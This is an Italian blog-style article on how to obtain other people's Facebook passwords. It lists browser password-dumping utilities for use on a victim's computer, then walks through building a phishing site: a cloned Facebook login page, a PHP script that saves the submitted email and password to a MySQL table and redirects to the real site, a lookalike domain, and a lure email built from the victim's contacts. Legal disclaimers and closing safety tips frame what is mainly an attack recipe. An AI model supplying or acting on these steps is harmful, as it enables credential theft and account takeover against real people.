Come scoprire le password di Facebook

Scoprire le password di Facebook, o rubare le password di Facebook o anche scoprire la password di una rete wifi sono sicuramente tra i termini più ricercati dagli utenti della rete su Google. Premesso che rubare le password di altri account Facebook è assolutamente illegale, è necessario specificare anche che non si possono scoprire le password Facebook di un amico o di un ex partner semplicemente smanettando sul sito del social network blu.
Tuttavia se si ha accesso allo stesso computer della ‘vittima’ si può rubare la password di Facebook online grazie ad alcuni programmi in grado di decriptare le password memorizzate nel browser di navigazione ed esportarne i dettagli di login in diversi formati.

Questo metodo però funziona solo sui computer che hanno installato il sistema operativo Windows e su cui si utilizza uno dei seguenti browser: Internet Explorer, Mozilla Firefox o Google Chrome.
I programmi per scoprire password di Facebook in questo caso sono:

• ChromePass per Google Chrome;
• PasswordFox per Mozilla Firefox;
• IE PassView per Internet Explorer.

L’utilizzo legale di questi programmi è scoprire la password di Facebook nel caso in cui aveste smarrito la vostra, quindi usateli solo ed esclusivamente per recuperare la password di Facebook.
Il consiglio sempre valido invece è quello di non salvare mai le password nel browser se usate un computer condiviso.

Un altro metodo con cui un hacker potrebbe rubare la password di Facebook è quello di installare un keylogger per spiare un pc a distanza nel computer della vittima, ossia un programma che memorizza ciò che si digita.
In questo caso l’unico sistema per proteggersi è usare un buon antivirus.

Vediamo invece ora un metodo che vi permette di scoprire le password Facebook di chi volete se non avete accesso al suo pc, ricordando sempre che si tratta di un reato penale!
Innanzitutto precisiamo che non esistono programmi per hacker che sfruttano i punti deboli di Facebook per rubare le password altrui, quindi l’unico metodo che abbiamo a nostra disposizione è sfruttare l’ingegneria sociale ed il cosiddetto Phising, oltre che l’ingenuità della vittima designata.

L’ingegneria sociale è basata sull’osservazione attenta dei comportamenti e delle abitudini di una persona in modo da trovare la via più facile per carpirgli le informazioni che desideriamo; nella maggior parte dei casi infatti un pirata informatico che voglia rubare una password Facebook altrui proverà col nome del o della partner della vittima oppure con la data di nascita. Per questo motivo è importante scegliere una password composta da caratteri alfanumerici e soprattutto non usare la stessa password per tutti i siti a cui ci si iscrive!

Il Phising è ciò che accade quando, ad esempio, ci arriva una email fasulla dalle Poste o dalla banca che ci avvisa di prelievi sospetti dal nostro conto corrente o altri movimenti; seguendo il link della email fasulla si giunge ad un falso sito delle Poste o della banca in questione e saremo noi stessi a consegnare i nostri dati completi di password all’hacker di turno!

Da questo punto in poi è facile comprendere come mettendo insieme la disciplina dell’ingegneria sociale ed il Phising si possa facilmente scoprire la password Facebook degli utenti più distratti conoscendo l’email della vittima: basterà inviare alla vittima un messaggio di posta simile a quelli che invia il social network per le consuete notifiche dopo aver creato una falsa pagina Facebook.

Ecco come fare:

• Innanzitutto creiamo il nostro Facebook fasullo con l’aiuto di un web server (Apache) e di un database (Mysql); gli utenti della rete che utilizzano Linux o Mac ce li hanno già installati, mentre gli utenti Windows possono scaricarli da Wampserver;
• Fatto questo, dobbiamo mettere il Facebook fasullo sul server che abbiamo installato, visitando la pagina iniziale di Facebook senza fare il login e copiando il codice sorgente su un editor di testo. Questo sorgente è una pagina php da modificare in modo che il nome utente e la password digitati dall’ignaro utente sul Facebook fasullo vengano salvati da qualche parte. In parole povere dovete cambiare l’indirizzo indicato da ‘action‘.
• L’altra cosa da fare adesso è creare la pagina login.php, grazie alla quale riusciremo ad ottenere i tanto agognati dati dell’utente che vi si connetterà. Ecco le righe che vi permetteranno ciò:

  $user=”you”;
  $password=”tube”;
  $database=”fish”;
  $name=$_POST['email'];
  $pass= $_POST['pass'];
  mysql_connect(localhost,$user,$password);
  @mysql_select_db($database) or die( “Unable to select database”);
  $query=”Insert into pesci(nome,pass) value(’$name’,'$pass’)”;
  mysql_query($query);
  header(”location: http://www.facebook.com/inbox/?ref=mb”);

• Da questo momento in poi potremo prendere i dati inviati dalla pagina del Facebook fasullo e copiarli su una tabella del database. L’ultima riga rimanda alla vera pagina della posta di Facebook e serve a rendere credibile il Phishing.

Ora spiamo nella bacheca Facebook della nostra vittima per scoprire il suo punto debole, il più delle volte la persona con cui si scambia più messaggi e commenti nei post in bacheca e che quindi useremo come esca.
Creiamo una mail avvisando il malcapitato che quella certa persona gli inviato un messaggio su Facebook, proprio come se fosse una normale notifica di Facebook che però rimanda al nostro server (per farlo basta cambiare anche solo una lettera del sito originale). Per creare un nome simile basta visitare qualsiasi servizio di Redirect.

Nella maggior parte dei casi un utente distratto cliccherà sul link che gli abbiamo inviato non facendo caso al nome falso del sito, perché concentrerà la sua attenzione sul messaggio in sé e sulla persona che gliel’ha inviato.
Quando poi approdando alla pagina della posta di Facebook non troverà il messaggio in questione penserà che si sia trattato del solito errore del social network, mentre in realtà avrà consegnato incautamente la sua password ed i suoi dati di accesso ad un pirata informatico! Forse se siete distratti sarebbe meglio scoprire come fare per non ricevere email da Facebook, in modo da non cliccare su link sospetti!

Conclusione? L’unico modo per scoprire una password Facebook è farsela comunicare dal diretto interessato!
Adesso che conoscete questo trucco sicuramente starete più attenti nel leggere i messaggi che arrivano nella vostra casella di posta elettronica e non cliccherete su link di dubbia provenienza!